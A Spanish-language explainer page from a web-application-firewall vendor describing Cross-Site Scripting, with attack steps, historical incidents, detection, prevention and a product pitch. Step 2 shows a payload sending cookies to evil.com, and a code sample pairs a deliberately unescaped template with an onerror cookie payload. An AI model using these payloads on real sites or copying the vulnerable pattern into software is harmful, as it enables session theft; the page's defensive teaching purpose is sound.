Skip to main content
HighProtected by PowerWAF

Cross-Site Scripting (XSS)

CategoríaInyecciónOWASPA03:2021 – InyecciónPrimera aparición2000Tiempo de lectura9 minVerificado2026-02-10
DEFINICIÓN

Cross-Site Scripting (XSS) es un ataque de inyección donde se insertan scripts maliciosos en sitios web de confianza. Cuando un usuario visita la página comprometida, el script se ejecuta en su navegador, permitiendo a los atacantes robar tokens de sesión, redirigir usuarios, alterar contenido o realizar acciones en nombre de la víctima.

Cómo Funciona Cross-Site Scripting (XSS)

XSS explota la confianza que el navegador del usuario deposita en el contenido recibido de un sitio web. Cuando una aplicación incluye datos no confiables en su salida sin la codificación adecuada, los atacantes pueden inyectar scripts ejecutables.

1

Encontrar una salida sin sanitizar

El atacante identifica un punto donde los datos proporcionados por el usuario se reflejan en el HTML sin la codificación adecuada — un resultado de búsqueda, campo de comentarios, parámetro de URL o mensaje de error.

2

Inyectar un payload de script

Se elabora una etiqueta de script maliciosa o un manejador de eventos, como <script>document.location='https://evil.com/?c='+document.cookie</script>, y se envía a través de la entrada vulnerable.

3

La víctima activa la ejecución

Cuando una víctima carga la página que contiene el script inyectado (mediante un enlace manipulado, un comentario almacenado o un DOM manipulado), su navegador ejecuta el código malicioso como si fuera contenido legítimo del sitio.

4

Explotar la sesión

El script roba cookies, tokens de sesión o credenciales y los envía al servidor del atacante. También puede modificar el contenido de la página, redirigir usuarios o realizar llamadas a la API en nombre de la víctima.

Ejemplos Reales

2005

Gusano Samy (MySpace)

Un gusano XSS almacenado se propagó por MySpace, añadiendo más de 1 millón de amigos al perfil del atacante en menos de 24 horas. Fue el gusano de propagación más rápida de todos los tiempos.

2018

Ataque Magecart a British Airways

Los atacantes inyectaron un script malicioso en la página de pagos de BA, robando datos de tarjetas de crédito de 380,000 transacciones durante 15 días. BA fue multada con £20 millones por el ICO.

2019

Vulnerabilidad SSO de Fortnite

Una vulnerabilidad XSS en el flujo de autenticación de Epic Games podría haber permitido a los atacantes tomar el control de cualquier cuenta de jugador de Fortnite, afectando a más de 200 millones de usuarios.

Impacto y Evaluación de Riesgo

Los ataques XSS pueden provocar secuestro de sesiones, toma de control de cuentas, robo de credenciales, desfiguración de sitios, distribución de malware y phishing. El XSS almacenado es particularmente peligroso ya que afecta a todos los usuarios que visualizan la página comprometida. En contextos de comercio electrónico, XSS permite ataques de tipo Magecart que roban silenciosamente datos de pago a gran escala.

Cómo Detectar Cross-Site Scripting (XSS)

Implementar encabezados Content Security Policy (CSP) y monitorear las violaciones. Revisar los logs del servidor en busca de etiquetas de script y payloads codificados en los parámetros de solicitud. Usar herramientas de desarrollo del navegador para inspeccionar scripts inline inesperados. Desplegar reglas de WAF dirigidas a vectores XSS comunes. Monitorear mutaciones del DOM para detectar inyecciones de scripts inesperadas. Buscar variantes codificadas: %3Cscript%3E, &#x3C;script&#x3E;, y manejadores de eventos JavaScript en contextos inesperados.

Cómo Prevenir Cross-Site Scripting (XSS)

Codificar toda la salida proporcionada por el usuario utilizando codificación contextual (entidad HTML, JavaScript, URL, codificación CSS). Implementar una Content Security Policy (CSP) estricta que no permita scripts inline. Usar las flags HTTPOnly y Secure en las cookies de sesión para prevenir el acceso mediante JavaScript. Validar y sanitizar la entrada del lado del servidor. Usar frameworks modernos con auto-escape integrado (React, Angular, Vue). Aplicar el encabezado X-XSS-Protection como medida de defensa en profundidad.

Ejemplos de Código

Vulnerable: Unescaped Output
<!-- VULNERABLE: user input rendered directly -->
<div class="search-results">
<p>Results for: ${userQuery}</p>
</div>

<!-- Attacker input: <img src=x onerror=alert(document.cookie)> -->
<!-- Renders executable HTML in the victim's browser -->
Secure: Content Security Policy
// Express.js — set strict CSP header
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
);
next();
});

PowerWAF bloquea automáticamente Cross-Site Scripting (XSS) antes de que llegue a tu servidor.

Implementa en minutos. Sin cambios de código. Plan gratuito disponible.

Los cupos del plan gratuito son limitados

Preguntas Frecuentes

El XSS almacenado persiste en la base de datos del servidor y afecta a todos los usuarios que visualizan el contenido. El XSS reflejado se incluye en la respuesta del servidor desde una URL manipulada y requiere que la víctima haga clic en un enlace. El XSS basado en DOM ocurre completamente en el navegador cuando JavaScript del lado del cliente procesa datos no confiables.
React escapa automáticamente los valores incrustados en JSX, lo que previene la mayoría del XSS. Sin embargo, el uso de dangerouslySetInnerHTML, atributos href con URLs javascript:, o renderizado del lado del servidor con datos sin sanitizar aún puede introducir vulnerabilidades XSS.
Sí. XSS puede inyectar formularios de inicio de sesión falsos, capturar pulsaciones de teclas mediante listeners de eventos, leer datos de autocompletado de gestores de contraseñas, o robar tokens de sesión que proporcionan acceso equivalente sin necesidad de la contraseña en sí.